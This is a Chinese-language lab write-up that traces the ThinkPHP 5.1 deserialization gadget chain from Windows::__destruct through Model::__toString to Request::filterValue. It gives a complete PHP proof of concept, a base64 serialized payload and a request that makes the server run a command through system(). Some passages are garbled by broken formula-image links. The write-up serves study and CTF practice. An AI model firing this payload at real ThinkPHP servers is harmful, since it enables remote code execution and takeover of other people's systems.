《从0到1》配套练习:thinkphp5.1反序列化利用链

以5.x为例

在5.0中,thinkphp的结构目录主要变化是配置目录和定义路由独立了出来(且不可更改)
其目录结构如下图所示:

www WEB部署目录(或者子目录)
├─application 应用目录
│ ├─common 公共模块目录(可以更改
│ ├─module_name 模块目录
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ ├─config 配置目录
│ │ └─ … 更多类库目录
│ │
│ ├─command.php 命令行定义文件
│ ├─common.php 公共函数文件
│ └─tags.php 应用行为扩展定义文件

├─config 应用配置目录
│ ├─module_name 模块配置目录
│ │ ├─database.php 数据库配置
│ │ ├─cache 缓存配置
│ │ └─ …
│ │
│ ├─app.php 应用配置
│ ├─cache.php 缓存配置
│ ├─cookie.php Cookie配置
│ ├─database.php 数据库配置
│ ├─log.php 日志配置
│ ├─session.php Session配置
│ ├─template.php 模板引擎配置
│ └─trace.php Trace配置

├─route 路由定义目录
│ ├─route.php 路由定义
│ └─… 更多

├─public WEB目录(对外访问目录)
│ ├─index.php 入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于apache的重写

├─thinkphp 框架系统目录
│ ├─lang 语言文件目录
│ ├─library 框架类库目录
│ │ ├─think Think类库包目录
│ │ └─traits 系统Trait目录
│ │
│ ├─tpl 系统模板目录
│ ├─base.php 基础定义文件
│ ├─convention.php 框架惯例配置文件
│ ├─helper.php 助手函数文件
│ └─logo.png 框架LOGO文件

├─extend 扩展类库目录
├─runtime 应用的运行时目录(可写,可定制)
├─vendor 第三方类库目录(Composer依赖库)
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件

Think遵循惯例重于配置的原则,按照一下顺序来加载配置文件

  1. 惯例配置->应用配置->模块配置->动态配置

惯例配置:核心框架内置的配置文件,无需更改

应用配置:每个应用的全局配置文件(框架安装后会生成初始的应用配置文件),有部分配置参数仅能在应用配置文件中设置

模块配置:每个模块的配置文件(相同的配置参数会覆盖应用配置),有部分配置参数模块配置是无效的,因为已经使用过

动态配置:主要是指在控制器或者行为中进行(动态)更改配置,该配置方式只在当次请求有效,因为不会保存到配置文件中

完全开发手册

更多详情查看thinkphp开发手册
https://www.kancloud.cn/manual/thinkphp5_1/353946

Thinkphp 反序列化利用链深入分析

https://blog.csdn.net/qq_43380549/article/details/101265818?ops_request_misc=%7B%22request%5Fid%22%3A%22161447763316780274130859%22%2C%22scm%22%3A%2220140713.130102334.pc%5Fall.%22%7D&request_id=161447763316780274130859&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_v2~rank_v29-1-101265818.first_rank_v2_pc_rank_v29&utm_term=-[第三章 web进阶]thinkphp反序列化利用链

题目(源码为thinkphp 5.1)

函数跟踪

全局搜索__destruct()函数
/thinkphp/library/think/process/pipes/Windows.php中找到

  1. public function __destruct()
  2. {
  3. $this->close();
  4. $this->removeFiles();
  5. }

接着跟进removeFiles()函数

  1. private function removeFiles()
  2. {
  3. foreach ($this->files as $filename) {
  4. if (file_exists($filename)) {
  5. @unlink($filename);
  6. }
  7. }
  8. $this->files = [];
  9. }

我们发现里面![](https://g.yuque.com/gr/latex?this-%3Efiles%20%3D%20%5B%5D%E8%80%8C%E4%B8%94#card=math&code=this-%3Efiles%20%3D%20%5B%5D%2A%2A%E8%80%8C%E4%B8%94)filename可控,因此可以存在任意文件删除漏洞
因此我们可以构造POC

  1. <?php
  2. namespace think\process\pipes;
  3. class Pipes{
  4. }
  5. class Windows extends Pipes{
  6. private $files = [];
  7. private function __destruct(){
  8. $this->files = ['需要删除的文件(路径)'];
  9. }
  10. }
  11. $a = new Windows();
  12. echo base64_encode(serialize($a));

寻找触发点

在romoveFiles()函数中我们可以知道其使用file_exsits()来对$filename进行处理

  1. file_exsits函数会把传入值作为字符串处理

而魔术方法__toString()则会当一个对象反序列后被当作字符串处理时触发,因此我们可以通过传入一个参数来触发__toString()
\thinkphp\library\think\model\concern\Conversion.php中有toJson()方法

  1. public function __toString()
  2. {
  3. return $this->toJson();
  4. }

接着我们跟进toJson()方法————>转换当前数据集为JSON字符串

  1. public function toJson($options = JSON_UNESCAPED_UNICODE)
  2. {
  3. return json_encode($this->toArray(), $options);
  4. }
  5. public function __toString()
  6. {
  7. return $this->toJson();
  8. }

再跟进 toArray()方法

  1. public function toArray()
  2. {
  3. $item = [];
  4. $visible = [];
  5. $hidden = [];
  6. .....
  7. // 追加属性(必须定义获取器)
  8. if (!empty($this->append)) {
  9. foreach ($this->append as $key => $name) {
  10. if (is_array($name)) {
  11. // 追加关联对象属性
  12. $relation = $this->getRelation($key);
  13. if (!$relation) {
  14. $relation = $this->getAttr($key);
  15. $relation->visible($name);
  16. }
  17. .....

我们需要在toArray()中找到一个满足$filename->方法(参数可控)的地方
这里我们跟进getRelation方法

  1. public function getRelation($name = null)
  2. {
  3. if (is_null($name)) {
  4. return $this->relation;
  5. } elseif (array_key_exists($name, $this->relation)) {
  6. return $this->relation[$name];
  7. }
  8. return;
  9. }

我们发现这里与&relation关联不大,因此我们可以跟进getAttr()函数

  1. public function getAttr($name, &$item = null)
  2. {
  3. try {
  4. $notFound = false;
  5. $value = $this->getData($name);
  6. } catch (InvalidArgumentException $e) {
  7. $notFound = true;
  8. $value = null;
  9. } ······

接着我们再跟进getData()方法

  1. public function getData($name = null)
  2. {
  3. if (is_null($name)) {
  4. return $this->data;
  5. } elseif (array_key_exists($name, $this->data)) {
  6. return $this->data[$name];
  7. } elseif (array_key_exists($name, $this->relation)) {
  8. return $this->relation[$name];
  9. }
  10. throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
  11. }

这里 我们知道,thinkphp5.1 - 图1this->data[$name]。
同时,这里我们类的定义使用的是Trait
因此这里类的继承使用的是use关键字
接着我们需要找一个子类同时继承 AttributeConversion

\thinkphp\library\think\Model.ph中可以找到

  1. abstract class Model implements \JsonSerializable,\ArrayAccess
  2. {
  3. use model\concern\Attribute;
  4. use model\concern\RelationShip;
  5. use model\concern\ModelEvent;
  6. use model\concern\TimeStamp;
  7. use model\concern\Conversion;

到此,我们需要审计的内容基本上就完成了。

执行分析

接下来我们需要寻找到一个好的触发点,比如魔术方法call()
因为
call中一般存在 **call_user_func**call_user_func_array
/thinkphp/library/think/Request.php中我们可以找到这么一个__call函数

  1. public function __call($method, $args)
  2. {
  3. if (array_key_exists($method, $this->hook)) {
  4. array_unshift($args, $this);
  5. return call_user_func_array($this->hook[$method], $args);
  6. }
  7. throw new Exception('method not exists:' . static::class . '->' . $method);
  8. }

在这里我们看到hook是可以控制的,因此我们可以构造一个以它为数组的
这里我们可以构造参数传入给$method
但是由于这里array_unshif会导致传入的数组的新值放在数组开头,这样就会导致我们构造传入的payload无法使用

在thinkphp的Reuqests中还有一个filter方法去执行代码
我们全局搜索一下寻找$filter可控的点

  1. private function filterValue(&$value, $key, $filters)

接着我们继续寻找$value可控的点

  1. public function input($data = [], $name = '', $default = null, $filter = '')
  2. {
  3. if (false === $name) {
  4. // 获取原始数据
  5. return $data;
  6. }
  7. ....
  8. // 解析过滤器
  9. $filter = $this->getFilter($filter, $default);
  10. if (is_array($data)) {
  11. array_walk_recursive($data, [$this, 'filterValue'], $filter);
  12. if (version_compare(PHP_VERSION, '7.1.0', '<')) {
  13. // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
  14. $this->arrayReset($data);
  15. }
  16. } else {
  17. $this->filterValue($data, $name, $filter);
  18. }

但是这里我们发现input函数的参数不可控,可以通过寻找调用了input函数的函数向上寻找找到param函数

  1. public function param($name = '', $default = null, $filter = '')
  2. {
  3. ......
  4. if (true === $name) {
  5. // 获取包含文件上传信息的数组
  6. $file = $this->file();
  7. $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
  8. return $this->input($data, '', $default, $filter);
  9. }
  10. return $this->input($this->param, $name, $default, $filter);
  11. }

这里我们发现这里我们依旧无法控制参数输入的值,继续寻找能调用param函数的地方,我们找到了isAjax函数

  1. public function isAjax($ajax = false)
  2. {
  3. $value = $this->server('HTTP_X_REQUESTED_WITH');
  4. $result = 'xmlhttprequest' == strtolower($value) ? true : false;
  5. if (true === $ajax) {
  6. return $result;
  7. }
  8. $result = $this->param($this->config['var_ajax']) ? true : $result;
  9. $this->mergeParam = false;
  10. return $result;
  11. }

这里我们发现$result = thinkphp5.1 - 图2this->config[‘var_ajax’]) ? true : ![](https://g.yuque.com/gr/latex?result%3B%E5%8F%AF%E6%8E%A7%20%20%0A%E9%82%A3%E4%B9%88%E6%88%91%E4%BB%AC%E5%B0%B1%E5%8F%AF%E4%BB%A5%E7%9B%B8%E5%BA%94%E6%8E%A7%E5%88%B6param%E4%B8%AD%E7%9A%84#card=math&code=result%3B%2A%2A%E5%8F%AF%E6%8E%A7%20%20%0A%E9%82%A3%E4%B9%88%E6%88%91%E4%BB%AC%E5%B0%B1%E5%8F%AF%E4%BB%A5%E7%9B%B8%E5%BA%94%E6%8E%A7%E5%88%B6param%E4%B8%AD%E7%9A%84)name,再相应的,我们可以控制input中的thinkphp5.1 - 图3name就可以由isAjax中的$this->config[‘var_ajax’]来控制

再看到input函数中有$data = thinkphp5.1 - 图4data, $name);
我们跟进getData函数

  1. protected function getData(array $data, $name)
  2. {
  3. foreach (explode('.', $name) as $val) {
  4. if (isset($data[$val])) {
  5. $data = $data[$val];
  6. } else {
  7. return;
  8. }
  9. }
  10. return $data;
  11. }

我们可以知道这里$data = thinkphp5.1 - 图5val]

接着我们再看看getFilter函数,寻找$filter参数的控制点

  1. protected function getFilter($filter, $default)
  2. {
  3. if (is_null($filter)) {
  4. $filter = [];
  5. } else {
  6. $filter = $filter ?: $this->filter;
  7. if (is_string($filter) && false === strpos($filter, '/')) {
  8. $filter = explode(',', $filter);
  9. } else {
  10. $filter = (array) $filter;
  11. }
  12. }
  13. $filter[] = $default;
  14. return $filter;
  15. }

这里我们知道$filter = $filter ?: ![](https://g.yuque.com/gr/latex?this-%3Efilter%3B%20%20%0A%E5%88%99%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8E%A7%E5%88%B6%E5%AE%9A%E4%B9%89#card=math&code=this-%3Efilter%3B%2A%2A%20%20%0A%E5%88%99%E6%88%91%E4%BB%AC%E5%8F%AF%E4%BB%A5%E6%8E%A7%E5%88%B6%E5%AE%9A%E4%B9%89)filter为函数名

回过头我们看到input函数中有这么一段

  1. if (is_array($data)) {
  2. array_walk_recursive($data, [$this, 'filterValue'], $filter);

array_walk_recursive——>对数组中的每个成员递归地应用用户函数(回调函数

我们跟进filterValue函数

  1. private function filterValue(&$value, $key, $filters)
  2. {
  3. $default = array_pop($filters);
  4. foreach ($filters as $filter) {
  5. if (is_callable($filter)) {
  6. // 调用函数或者方法过滤
  7. $value = call_user_func($filter, $value);
  8. } elseif (is_scalar($value)) {
  9. if (false !== strpos($filter, '/')) {
  10. // 正则过滤
  11. if (!preg_match($filter, $value)) {
  12. // 匹配不成功返回默认值
  13. $value = $default;
  14. break;
  15. }
  16. .......

分析可知,thinkphp5.1 - 图6filter

于是我们继续构造POC

  1. <?php
  2. namespace think;
  3. abstract class Model{
  4. protected $append = [];
  5. private $data = [];
  6. function __construct(){
  7. $this->append = ["ethan"=>["calc.exe","calc"]];
  8. $this->data = ["ethan"=>new Request()];
  9. }
  10. }
  11. class Request
  12. {
  13. protected $hook = [];
  14. protected $filter = "system";
  15. protected $config = [
  16. // 表单请求类型伪装变量
  17. 'var_method' => '_method',
  18. // 表单ajax伪装变量
  19. 'var_ajax' => '_ajax',
  20. // 表单pjax伪装变量
  21. 'var_pjax' => '_pjax',
  22. // PATHINFO变量名 用于兼容模式
  23. 'var_pathinfo' => 's',
  24. // 兼容PATH_INFO获取
  25. 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
  26. // 默认全局过滤方法 用逗号分隔多个
  27. 'default_filter' => '',
  28. // 域名根,如thinkphp.cn
  29. 'url_domain_root' => '',
  30. // HTTPS代理标识
  31. 'https_agent_name' => '',
  32. // IP代理获取标识
  33. 'http_agent_ip' => 'HTTP_X_REAL_IP',
  34. // URL伪静态后缀
  35. 'url_html_suffix' => 'html',
  36. ];
  37. function __construct(){
  38. $this->filter = "system";
  39. $this->config = ["var_ajax"=>''];
  40. $this->hook = ["visible"=>[$this,"isAjax"]];
  41. }
  42. }
  43. namespace think\process\pipes;
  44. use think\model\concern\Conversion;
  45. use think\model\Pivot;
  46. class Windows
  47. {
  48. private $files = [];
  49. public function __construct()
  50. {
  51. $this->files=[new Pivot()];
  52. }
  53. }
  54. namespace think\model;
  55. use think\Model;
  56. class Pivot extends Model
  57. {
  58. }
  59. use think\process\pipes\Windows;
  60. echo base64_encode(serialize(new Windows()));
  61. ?>

利用

我们需要再index.php中构建一个新的利用点
写入

  1. $str = base64_decode($_POST['a']);
  2. unserialize($str);

接着我们传入

  1. GET:?ethan=calc
  2. POST:a=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czo4OiJjYWxjLmV4ZSI7aToxO3M6NDoiY2FsYyI7fX1zOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjU6ImV0aGFuIjtPOjEzOiJ0aGlua1xSZXF1ZXN0IjozOntzOjc6IgAqAGhvb2siO2E6MTp7czo3OiJ2aXNpYmxlIjthOjI6e2k6MDtyOjk7aToxO3M6NjoiaXNBamF4Ijt9fXM6OToiACoAZmlsdGVyIjtzOjY6InN5c3RlbSI7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czowOiIiO319fX19fQ==

则可成功利用
(这里本来想用博客园图床上传成功截图的,但是好像被拦截无法显示。。。下次尝试把图片放云服务器上

总结

在漏洞寻找的开始,我们可以通过寻找__destruct等魔术方法来寻找漏洞的存在点,再通过不断跟进函数来寻找可控点

在寻找可执行处(代码执行点)的时候,我们可以跟进像__call魔术方法从而调用__call_user_func等函数来寻找可执行的点

本人菜鸡,希望师傅们能帮忙指出出其中的错误,并且希望能指点孩子几句有什么可以提高的地方

题目练习

红帽杯2019 Ticket_System